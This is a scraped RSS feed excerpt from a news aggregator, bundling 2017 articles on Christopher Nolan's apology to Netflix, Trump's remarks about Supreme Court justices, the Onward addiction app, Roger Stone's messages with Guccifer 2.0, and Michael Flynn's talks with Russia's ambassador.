]]> https://briefnews.eu/exclusive-eu-officials-have-privately-rejected-labours-brexit-policy-as-unworkable-cakeism/feed/ 0 Donald Trump Jr. and WikiLeaks Talking Privately on Twitter Makes Perfect Sense https://briefnews.eu/donald-trump-jr-and-wikileaks-talking-privately-on-twitter-makes-perfect-sense/ https://briefnews.eu/donald-trump-jr-and-wikileaks-talking-privately-on-twitter-makes-perfect-sense/#respond Tue, 14 Nov 2017 05:08:01 +0000 http://briefnews.eu/donald-trump-jr-and-wikileaks-talking-privately-on-twitter-makes-perfect-sense/ Especially if you question its commitment to radical transparency.


https://media.wired.com/photos/5a0a3829e9686d21749a59ec/master/pass/JulianAssange-FA-685309484.jpg
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]]> https://briefnews.eu/donald-trump-jr-and-wikileaks-talking-privately-on-twitter-makes-perfect-sense/feed/ 0 Christopher Nolan privately apologized to Netflix after calling its movie strategy ‘mindless’ https://briefnews.eu/christopher-nolan-privately-apologized-to-netflix-after-calling-its-movie-strategy-mindless/ https://briefnews.eu/christopher-nolan-privately-apologized-to-netflix-after-calling-its-movie-strategy-mindless/#respond Tue, 07 Nov 2017 18:11:39 +0000 http://briefnews.eu/christopher-nolan-privately-apologized-to-netflix-after-calling-its-movie-strategy-mindless/ christopher nolan interstellar filmingParamount

  • Christopher Nolan apologized to Netflix’s head of content Ted Sarandos after calling Netflix’s movie strategy “mindless.”
  • Netflix has clashed with many movie traditionalists over its release strategy.
  • Netflix will release 80 new movies in 2018.

Director Christopher Nolan revealed that he wrote Netflix’s chief content officer Ted Sarandos an apology after calling Netflix’s movie strategy “mindless,” in an interview with Variety.

“I should have been more polite,” Nolan said. “I said what I believe, but I was undiplomatic in the way I expressed it. I wasn’t giving any context to the frankly revolutionary nature of what Netflix has done. It’s extraordinary. They need appropriate respect for that, which I have.”

In July, the director heavily criticized the streaming company’s movie strategy and its resistance to the theatrical window, during an interview with IndieWire, and even accused Netflix of trying to shut down theaters.

“I think the investment that Netflix is putting into interesting filmmakers and interesting projects would be more admirable if it weren’t being used as some kind of bizarre leverage against shutting down theaters,” Nolan said at the time. “It’s so pointless. I don’t really get it.”

But Nolan isn’t the only one that’s criticized Netflix’s strategy: Netflix has clashed with the theater industry thanks in large part to its release strategy.

Netflix releases its films both in theaters and on its site simultaneously, without waiting the traditional 90-day theatrical window. This stands in contrast to the theater-friendly policy of Amazon, which respects the traditional window. As a result, Netflix has been blacklisted from releasing its films in most major theater chains.

Netflix achieved a major film milestone this year when two of its films — “Okja” and “The Meyerowitz Stories” — were admitted into the Festival de Cannes. But criticism from the old guard prompted the festival to add a new rule dictating that any films that wished to be included in the festival next year would have to have a theatrical release in France.

In a Facebook post, Netflix CEO Reed Hastings responded to the festival’s ruling saying that he felt theater chains were trying to “block” Netflix from entering the “festival competition.”

Despite criticisms of Netflix’s methods, the streaming giant seems to be moving onward and upward, and is planning on releasing 80 films in 2018, according to Variety.

NOW WATCH: 10 things you missed in the new ‘Star Wars: The Last Jedi’ trailer

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]]> https://briefnews.eu/christopher-nolan-privately-apologized-to-netflix-after-calling-its-movie-strategy-mindless/feed/ 0 Trump is reportedly talking about Supreme Court justices’ health issues, privately predicting he’ll be able to appoint 4 https://briefnews.eu/trump-is-reportedly-talking-about-supreme-court-justices-health-issues-privately-predicting-hell-be-able-to-appoint-4/ https://briefnews.eu/trump-is-reportedly-talking-about-supreme-court-justices-health-issues-privately-predicting-hell-be-able-to-appoint-4/#respond Mon, 16 Oct 2017 08:02:21 +0000 http://briefnews.eu/trump-is-reportedly-talking-about-supreme-court-justices-health-issues-privately-predicting-hell-be-able-to-appoint-4/ Ruth Bader GinsburgAP Photo/Charles Rex Arbogast

President Donald Trump has already appointed one Supreme Court justice, and is reportedly telling people he believes he will appoint three more.

Multiple sources told Axios’ Jonathan Swan that Trump is openly predicting he’ll be able to fill four Supreme Court seats as president.

One of Trump’s signature victories as president has been the appointment of Justice Neil Gorsuch, who filled a seat left vacant by the death of Justice Antonin Scalia in 2016. The open seat caused controversy, as Scalia died during Barack Obama’s presidency. Senate Majority Leader Mitch McConnell worked to allow the next president to fill the position.

Justice Anthony Kennedy — who is 81 years old — is rumored to be thinking about retirement. Trump, according to Axios, also thinks he’ll be able to replace Justices Ruth Bader Ginsburg and Sonia Sotomayor, citing their health.

Talking about Ginsburg, one source told Axios, Trump said, “What does she weigh? 60 pounds?” Ginsburg is 84 years old.

Trump has talked about Sotomayor’s Type 1 diabetes, according to Axios, telling the source, “Her health … no good. Diabetes.”

Sotomayor was appointed by Obama and is one of the younger justices on the court at 63 years old.

If Trump was able to replace Kennedy, Ginsburg, and Sotomayor, he could radically change the makeup of the Supreme Court.

Kennedy was appointed by Republican President Ronald Reagan and is a moderate conservative, often providing the deciding vote on 5-4 decisions.

Both Ginsburg and Sotomayor were appointed by Democrats — Bill Clinton and Obama, respectively — and are considered liberal justices. Even replacing one would allow Trump to shift the balance of the court to the right.

Justice Stephen Breyer, another liberal, is 79 years old.

NOW WATCH: ‘Rocket man is on a suicide mission’: Trump threatens to ‘totally destroy North Korea’ in major UN speech

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]]> https://briefnews.eu/trump-is-reportedly-talking-about-supreme-court-justices-health-issues-privately-predicting-hell-be-able-to-appoint-4/feed/ 0 Onward app helps you defeat your addictions privately https://briefnews.eu/onward-app-helps-you-defeat-your-addictions-privately/ https://briefnews.eu/onward-app-helps-you-defeat-your-addictions-privately/#respond Tue, 04 Apr 2017 13:51:57 +0000 http://briefnews.eu/onward-app-helps-you-defeat-your-addictions-privately/

Onward is on a mission to help people conquer their addictions and achieve tech-life balance.

The company’s founders, Adam Singer and Gabe Zichermann, have histories of addiction among family and friends, and they believe that technology has a role to play in both causing and curing today’s overuse crisis. Their chat bot app tries to help people overcome overuse and change their behavior.

In some ways, this new Los Angeles startup is penance for Zichermann, who acknowledged in an interview with VentureBeat that he spent the better part of the last decade trying to make experiences more addictive through his work in “gamification” and behavioral design. Now he’s using artificial intelligence to help defeat addiction.

He used his knowledge about making addictive apps to design Onward and start advocating for balance and transparency in our relationship with technology. The company raised $ 2 million from Founders Fund in 2016, and it has advisers who are clinicians from the University of California at Los Angeles Health and Columbia University Medical Center.

“You’re so addicted to Instagram and you may joke about it,” Zichermann said. “People don’t talk about as much about porn or gambling addiction. But it is all connected to a similar issue.”

Above: Gabe Zichermann, cofounder of Onward.

Image Credit: Onward

The Onward experience starts as you download the app. It offers you tips about addictions — which Zichermann prefers to call “overuse” — and the behavior that triggers an addiction experience or relapse. It trains you to be aware of those triggers and figure out ways to avoid them or confront them.

“If you are bored or lonely, Onward is designed to get you off your device and do something in the real world,” Zichermann said. “It’s an app to get you to use your smartphone less.”

The app asks you to check in on a daily basis with your AI coach to be accountable. When you first log in, the app asks you how you feel. You answer by selecting an emoji. The first few days are spent onboarding.

The initial app deals with overuse of social networks, porn, and screen time. Future versions will address a wider range of addictions like shopping, gambling, games, tobacco, drugs and alcohol, and food.

“They all have a technology piece and the smartphone in common,” Zichermann said. “The technology makes it more addictive. What we see in our data is that this is a problem for society.”

In contrast to treatments such as Weight Watchers, where you interact closely with other people in your group, Onward is a solo experience, driven by artificial intelligence and analytics. With your permission, Onward monitors your usage of your smartphone, laptop, and home computer. It then compiles stats on the apps and web sites that you use so that you can understand your own behavior.

Because it has to build up an analysis of your habits, it takes a week or two for Onward to home in on your addictions. In the meantime, it offers helpful hints, like disabling the notifications that draw you back into addictive activities such as porn, social networking, games, and other entertainment.

Onward also helps you figure out what constitutes an addiction. Zichermann said he had a real problem playing Civilization when he was in college. He played so much that he was once at a party, surrounded by other people having fun, and he was off by himself playing Civilization, which used the phrase “one more turn” to advertise its addictive qualities.

“It would have been great to have a nudge,” he said. “Like, ‘Hey Gabe, do you really need to be doing this now?’”

Above: Onward asks you to check in every day.

Image Credit: Onward

He noted that addiction solutions like rehab work well when users are in the facility, but they tend to fail when they leave. Onward is an attempt to create a rehab adviser who is with your 24 hours a day. It offers interventions, removal of triggers, and treatment that is personalized for you.

By using a mobile device, Onward hopes to turn around the cause of your addictions — a mobile phone that is always with you — and use it to combat the addictions, even screen addiction.

“It’s the only way we are going to address it,” Zichermann said. “A non-tech solution to this problem is not the right way to go. Your software has to be in the device to help people. People know what they should do but lack the help to get there.”

Onward communicates with you via text message. It holds a conversation with you that is scripted, where you have to tap on the screen to get to the next part of the conversation. Over time, the AI will become less structured and better able to talk in a human way, as the core tech advances.

The app also compiles reports for you to look at on a regular basis, so that you return to the app and get more advice and reinforcement. It shows you the percentage of your time spent on certain addictive apps, and how much time you spent with them. About 89 percent of users have installed reporting.

Due to the iPhone’s security restrictions, the company had to build a new technical solution leveraging virtual private network (VPN) technology. That keeps your data private.

“It’s super important for us that it is nonjudgemental and private,” Zichermann said. “That was a big priority. It’s important to be private because the stigma around this is huge.”

Meanwhile, the app tries to predict when someone is going to act out on a trigger, so that it can bring interventions to them in the moment. Zichermann said that is the benefit of the app running on a device that you have with you all of the time. If you feel you are giving in to a trigger, you can ask the app for help.

There are many different kinds of clinically-validated interventions that psychologists use, including mindfulness, physical activity, social connectedness, education, motivational Interviewing, and others. By day three, you can set up a Smart Filter, which blocks the sites that trigger your addictions. It will let you access the site once a day at a particular time.

Different interventions are better suited to different people at different times. Rather than focus on a single kind of intervention, Onward treats them as modules (or “skills”) that are delivered by a learning algorithm that attempts to surface the optimal solution. Onward is designed to support any kind of skills, so in the future we hope to open up the platform to other developers to add their modules.

Most solutions in behavioral health rely on self-reported usage or affect data and use highly filtered populations that skew their results. Onward’s mission is to demystify behavior change and bring transparency to addiction treatment. Its results are based on empirical data that is observed, not self-reported, where possible. It is algorithmically adjusted to maximize user benefit.

Above: Onward’s porn study results.

Image Credit: Onward

Some of the data is turning out to be informative. Onward did a clinical study of more than 1,400 people on porn. It turned out, surprisingly, that porn users and sex addicts are not the same people. Those are often lumped together, but

About 89 percent reduced their usage of porn. About 51 percent of those using porn stopped entirely, partly through a help line that stopped people from acting out. And after 30 days, 60 percent said they had continued to reduce their self-described “porn overuse.”

“The vast majority of people don’t have porn problem,” Zichermann said. “Some percentage have a problem. We want to have a solution to help them with total privacy.”

Over time, Onward will start charging a subscription fee. In the beta period, the company will not charge anyone. The subscriptions will be $ 15 to $ 29 a month, and Zichermann said that’s a lot less than going to see a therapist on a regular basis. Zichermann hopes that health insurance companies will underwrite the costs in the future.

“Interventions are tens of thousands of dollars per patient, and we are talking about tens of dollars,” Zichermann said.

Zichermann said that science will drive the company forward, in terms of where it’s focus will be. That will come in the form of advice from advisers and the anonymized analytics results on the app’s usage.

Ultimately, Zichermann thinks Onward will be good for social networks and other addictive sites.

Above: Onward gives you metrics on your addictions.

Image Credit: Onward

“It is important that developers of apps make them as good as they can,” Zichermann said. “But somebody has to be the advocate for the user. A good customer isn’t someone pushed to the point of breaking.”

The company has nine employees.

“It’s a personal mission for all of us,” Zichermann said. “Our hope is it becomes a standard. Everyone I talk to has been touched by addiction in some way. There’s a lot of positive change to be done here.”

VentureBeat

]]> https://briefnews.eu/onward-app-helps-you-defeat-your-addictions-privately/feed/ 0 Top Trump confidante admits to speaking privately with Guccifer 2.0, an alleged Russian cyberspy https://briefnews.eu/top-trump-confidante-admits-to-speaking-privately-with-guccifer-2-0-an-alleged-russian-cyberspy/ https://briefnews.eu/top-trump-confidante-admits-to-speaking-privately-with-guccifer-2-0-an-alleged-russian-cyberspy/#respond Sat, 11 Mar 2017 02:59:22 +0000 http://briefnews.eu/top-trump-confidante-admits-to-speaking-privately-with-guccifer-2-0-an-alleged-russian-cyberspy/ Roger StoneSpencer Platt/Getty Images

President Donald Trump’s former campaign adviser and longtime confidante Roger Stone said he exchanged private messages with a hacker implicated in a massive cyberattack that targeted the Democratic National Commitee last year.

Stone told Business Insider late Thursday night that he had a private conversation on Twitter with the person, nicknamed “Guccifer 2.0,” and that the interaction was so “brief and banal, I had forgotten it.”

Guccifer 2.0 has said that they targeted Democrats in the heat of the election last summer. One such cyberattack hit the Democratic Congressional Campaign Committee, leading to the release of email addresses and phone numbers belonging to nearly 200 Democratic congressional members on August 12, The Wall Street Journal reported at the time.

Guccifer 2.0 has denied having any links to Russia. But digital fingerprints were left on the hacks that led the US intelligence community — as well as several private cybersecurity firms — to concluded that the cyberattacks were largely, if not entirely, carried out by two Russian intelligence groups.

Piecing together Guccifer’s comments and cyber trails, experts soon began to agree that the self-proclaimed hacker was either a poser or the product of a Russian disinformation campaign. ThreatConnect, a cyber-security firm based in Arlington, Virginia, concluded that Guccifer 2.0 had been using the Russian-based Virtual Private Network service, Elite VPN, to secure their communications.

For his part, Stone cast aside any suggestion that he may have collaborated with the DNC hackers, Russian or not, telling Business Insider that he first noticed on August 14 — after he’d written an article for Breitbart saying he thought Guccifer was “the real deal” — that a Twitter account that apparently belonged to Guccifer had been reinstated after a brief suspension.

Screenshots of Stone’s back-and-forth with Guccifer via Twitter direct messaging were first revealed by The Smoking Gun. Stone later shared them with Business Insider.

trump carrierEvan Vucci/AP

“Long after Grufficer’s [sic] bit part in this drama, I did in fact have a short and innocuous Direct Message Exchange with Gruccifer 2.0,” Stone said. He told The Smoking Gun that he thought the messages had been public.

Business Insider cannot independently confirm if Stone’s screenshots accurately portrayed the entirety of his conversation with Guccifer. But in what appeared to be the first message in their conversation, Stone said he was “delighted” that Twitter had reinstated Guccifer 2.0’s account. 

Stone messaged Guccifer again on August 16 and asked if the alleged hacker could retweet his column about the 2016 presidential election possibly being “rigged.” 

“i’m pleased to say that u r great man,” Guccifer 2.0 replied on August 17. “please tell me if i can help u anyhow. it would be a great pleasure to me.”

Stone’s tweets in the days after raised questions about whether he knew in advance  that emails from Hillary Clinton’s campaign chairman, John Podesta, would be imminently published by WikiLeaks.

“Trust me, it will soon the Podesta’s time in the barrel. #CrookedHillary,” Stone tweeted on August 21. 

“Wednesday @HillaryClinton is done,” Stone tweeted on October 1. “I have total confidence that @wikileaks and my hero Julian Assange will educate the American people soon #LockHerUp,” he tweeted on October 3.

“Payload coming. #Lockthemup,” Stone tweeted on October 5. On October 7, shortly after an Access Hollywood video surfaced of Trump making lewd remarks about women, WikiLeaks published the first batch of Podesta emails.

WikiLeaks founder Julian Assange makes a speech from the balcony of the Ecuadorian Embassy, in central London, Britain February 5, 2016. REUTERS/Peter Nicholls/File PhotoThomson Reuters

“I think there’s a reasonable belief that Mr. Assange may have passed this information onto Mr. Stone,” Podesta told reporters later.

Stone has denied having any direct contact with WikiLeaks, saying that he had been getting his information from a mutual friend he shared with Assange.

He told BI on Thursday that he “had no contacts or communications with the Russian State, Russian Intelligence or anyone fronting for them or acting as intermediaries for them,” Stone said. “None. Nada. Zilch. I am not in touch with any Russians. don’t have a Russian girlfriend, don’t like Russian dressing and have stopped drinking Russian Vodka.” 

Seventeen US intelligence agencies concluded in January that Russia interfered in the US election — hacking into the DNC and John Podesta’s inbox and leaking the stolen documents to WikiLeaks — to undermine Hillary Clinton.

US intelligence agencies and the House and Senate intelligence committees are currently investigating whether the Trump campaign colluded with, or was complicit in, Russia’s election-related meddling. They have found no evidence so far that the Trump campaign actively collaborated with Russia to affect the outcome of the election. 

NOW WATCH: A body-language expert analyzes Trump’s unique handshakes


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]]> https://briefnews.eu/top-trump-confidante-admits-to-speaking-privately-with-guccifer-2-0-an-alleged-russian-cyberspy/feed/ 0 REPORT: Flynn privately discussed US sanctions against Russia before Trump took office https://briefnews.eu/report-flynn-privately-discussed-us-sanctions-against-russia-before-trump-took-office/ https://briefnews.eu/report-flynn-privately-discussed-us-sanctions-against-russia-before-trump-took-office/#respond Fri, 10 Feb 2017 04:38:51 +0000 http://briefnews.eu/report-flynn-privately-discussed-us-sanctions-against-russia-before-trump-took-office/ Michael FlynnAlex Wong/Getty Images

WASHINGTON (Reuters) – White House national security adviser Michael Flynn privately discussed US sanctions against Russia with Moscow’s ambassador to the United States during the month before President Donald Trump took office, the Washington Post reported on Thursday.

Citing unnamed current and former US officials, the Post said some senior US officials interpreted the contacts as a “potentially illegal” signal to Russia that it could expect a reprieve from sanctions imposed by the Obama administration in December.

Reuters could not immediately confirm the Washington Post report.

Reuters reported last month, citing three sources familiar with the matter, that Flynn had held five phone calls with Russian ambassador Sergei Kislyak on Dec. 29, the day then-President Barack Obama retaliated for Moscow’s alleged interference in the 2016 US presidential election.

The Post said Flynn on Wednesday denied that he had discussed sanctions with the Russian ambassador, but on Thursday backed away from the denial through a spokesman.

Flynn “indicated that while he had no recollection of discussing sanctions, he couldn’t be certain that the topic never came up,” the Post quoted the spokesman as saying.

Officials said this week that the FBI is continuing to examine Flynn’s contacts with Kislyak, according to the paper.

“Several officials emphasized that while sanctions were discussed, they did not see evidence that Flynn had an intent to convey an explicit promise to take action after the inauguration,” the Post said.

(Reporting by Washington Newsroom; Editing by Simon Cameron-Moore)

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